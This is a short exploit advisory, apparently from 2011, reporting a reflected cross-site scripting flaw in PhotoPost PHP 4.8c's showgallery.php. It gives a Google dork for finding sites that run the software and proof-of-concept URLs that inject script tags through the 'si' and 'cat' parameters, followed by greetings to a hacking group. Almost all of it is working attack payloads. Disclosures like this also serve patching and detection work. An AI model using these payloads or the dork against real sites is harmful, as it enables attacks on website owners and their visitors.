##########################################################
# Exploit Title:  PhotoPost PHP 4.8c (showgallery.php) Cross Site Scripting
# home : http://www.D99Y.com
# Author: NassRawI
# Date: 2/3/2011 
# Google Dork: "Powered by: PhotoPost PHP 4.8c"
# Software Link: http://www.photopost.com/
##########################################################
#
# file : 
#
# showgallery.php
#
# exploit  : 
#
# http://localhost/showgallery.php?si=" [XSS] "
#  
# http://localhost/showgallery.php?cat="[XSS]"
#
# http://localhost/showgallery.php?si="<script>alert(12345)</script>"
#
# http://localhost/showgallery.php?cat="<script>alert(12345)</script>"
#
##########################################################

Greetz : 

D99Y Team + alroo7 alte no tkda3 + moot almsh3er + mahmoudvip  + Difficult 511 and all members D99Y.CoM

Enjoy :)